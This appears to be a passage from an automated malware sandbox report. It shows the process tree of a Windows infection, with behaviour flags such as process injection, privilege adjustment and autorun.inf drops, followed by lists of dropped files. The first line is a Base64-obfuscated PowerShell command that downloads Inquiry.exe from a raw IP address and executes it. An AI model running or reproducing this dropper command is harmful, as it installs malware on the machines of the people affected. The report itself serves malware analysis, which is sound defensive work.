        pOwersHEll -E ZgB1AG4AYwB0AGkAbwBuACAAcABXADkANAAyAEYAdABNAFoAaABLAGkAXwBIAFkAbQBrAFEAagA3AFEAOQBvAHEANAAgACgAIAAkAFcATwA5AHMARwB4AHEAYQBnAEIAXwAxAG4ASwBYAHQAXwBwAFcAXwAgACwAIAAkAHMAMgA4AHYARQBwAFYAbABuAGIAcAByAFAAXwBjADEAdQBkAFEAcwBjAEcAZwBFAFQAdgA2AEUASwAgACkADQAKAHsADQAKAA0ACgANAAoAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoAA0ACgAkAFcATwA5AHMARwB4AHEAYQBnAEIAXwAxAG4ASwBYAHQAXwBwAFcAXwAgACwAIAAkAHMAMgA4AHYARQBwAFYAbABuAGIAcAByAFAAXwBjADEAdQBkAFEAcwBjAEcAZwBFAFQAdgA2AEUASwAgAA0ACgApAA0ACgA7AA0ACgANAAoAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBjAG8AbQAgAFMAaABlAGwAbAAuAEEAcABwAGwAaQBjAGEAdABpAG8AbgApAC4AUwBoAGUAbABsAEUAeABlAGMAdQB0AGUAKAAgACQAcwAyADgAdgBFAHAAVgBsAG4AYgBwAHIAUABfAGMAMQB1AGQAUQBzAGMARwBnAEUAVAB2ADYARQBLACAAKQANAAoAOwANAAoADQAKAH0ADQAKAA0ACgB0AHIAeQB7AA0ACgANAAoADQAKAA0ACgANAAoADQAKAA0ACgANAAoADQAKACQAdQA4AGgAYwAyAHcAbwA3ADIAdgB1AGEAMQBXAEEAagBaAGIAZQBQAEMAcQBqADUAPQAkAGUAbgBWADoAdABFAE0AcAArACcAXABJAG4AcQB1AGkAcgB5AC4AZQB4AGUAJwA7AA0ACgBwAFcAOQA0ADIARgB0AE0AWgBoAEsAaQBfAEgAWQBtAGsAUQBqADcAUQA5AG8AcQA0ACAAJwBoAHQAdABwADoALwAvADEANQAxAC4AMQAwADYALgAyAC4AMQAwADMALwBJAG4AcQB1AGkAcgB5AC4AZQB4AGUAJwAgACQAdQA4AGgAYwAyAHcAbwA3ADIAdgB1AGEAMQBXAEEAagBaAGIAZQBQAEMAcQBqADUAOwANAAoADQAKAA0ACgANAAoAfQANAAoADQAKAA0ACgBjAGEAdABjAGgAewB9AA==
        Suspicious use of WriteProcessMemory
        Suspicious use of AdjustPrivilegeToken
        Suspicious behavior: EnumeratesProcesses
        PID:3800
        • C:\Users\Admin\AppData\Local\Temp\Inquiry.exe
          "C:\Users\Admin\AppData\Local\Temp\Inquiry.exe"
          NTFS ADS
          Suspicious use of WriteProcessMemory
          Executes dropped EXE
          Suspicious behavior: EnumeratesProcesses
          PID:4700
          • C:\Users\Admin\AppData\Roaming\Inqyuiry\Inquiry.exe
            "C:\Users\Admin\AppData\Roaming\Inqyuiry\Inquiry.exe"
            Suspicious use of WriteProcessMemory
            Executes dropped EXE
            Suspicious behavior: MapViewOfSection
            Suspicious behavior: EnumeratesProcesses
            Suspicious use of SetThreadContext
            PID:4732
            • C:\Users\Admin\AppData\Roaming\Inqyuiry\Inquiry.exe
              "C:\Users\Admin\AppData\Roaming\Inqyuiry\Inquiry.exe"
              NTFS ADS
              Executes dropped EXE
              Modifies control panel
              Sets desktop wallpaper using registry
              Drops autorun.inf file
              Suspicious use of AdjustPrivilegeToken
              PID:4428
            • C:\Users\Admin\AppData\Roaming\Inqyuiry\Inquiry.exe
              "C:\Users\Admin\AppData\Roaming\Inqyuiry\Inquiry.exe" 2 4428 95328
              Executes dropped EXE
              Suspicious behavior: EnumeratesProcesses
              PID:4412
  • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
    "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
    Suspicious use of SetWindowsHookEx
    Modifies registry class
    Modifies Internet Explorer settings
    Modifies control panel
    Drops file in Windows directory
    Suspicious use of AdjustPrivilegeToken
    Checks whether UAC is enabled
    PID:4804
  • C:\Windows\system32\browser_broker.exe
    C:\Windows\system32\browser_broker.exe -Embedding
    Modifies Internet Explorer settings
    PID:656
  • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
    "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
    Suspicious use of SetWindowsHookEx
    Suspicious use of WriteProcessMemory
    Suspicious behavior: MapViewOfSection
    Modifies registry class
    Checks whether UAC is enabled
    PID:1844
  • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
    "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
    Modifies registry class
    Modifies Internet Explorer settings
    Suspicious use of AdjustPrivilegeToken
    Checks whether UAC is enabled
    PID:2420
  • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
    "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
    Modifies registry class
    Suspicious use of AdjustPrivilegeToken
    Checks whether UAC is enabled
    PID:4160
  • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
    "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
    Modifies registry class
    Checks whether UAC is enabled
    PID:5176
  • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
    "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
    Modifies registry class
    Checks whether UAC is enabled
    PID:5260
Network
MITRE ATT&CK Matrix
Collection
    Command and Control
      Credential Access
        Defense Evasion
        Execution
          Exfiltration
            Impact
            Initial Access
              Persistence
                Privilege Escalation
                  Replay Monitor
                  00:00 00:00
                  Downloads
                  • C:\Users\Admin\AppData\Local\Temp\Inquiry.exe

                  • C:\Users\Admin\AppData\Local\Temp\Inquiry.exe

                  • C:\Users\Admin\AppData\Roaming\Inqyuiry\Inquiry.exe

                  • C:\Users\Admin\AppData\Roaming\Inqyuiry\Inquiry.exe

                  • C:\Users\Admin\AppData\Roaming\Inqyuiry\Inquiry.exe

                  • C:\Users\Admin\AppData\Roaming\Inqyuiry\Inquiry.exe

                  • memory/4428-8-0x0000000000400000-0x0000000000620000-memory.dmp

                  • memory/4428-11-0x0000000000400000-0x0000000000620000-memory.dmp

                  • memory/4428-12-0x00000000025B0000-0x00000000026BC000-memory.dmp

                  • memory/4428-13-0x00000000006B2000-0x00000000006B3000-memory.dmp

                  • memory/4428-14-0x000000000B600000-0x000000000B602000-memory.dmp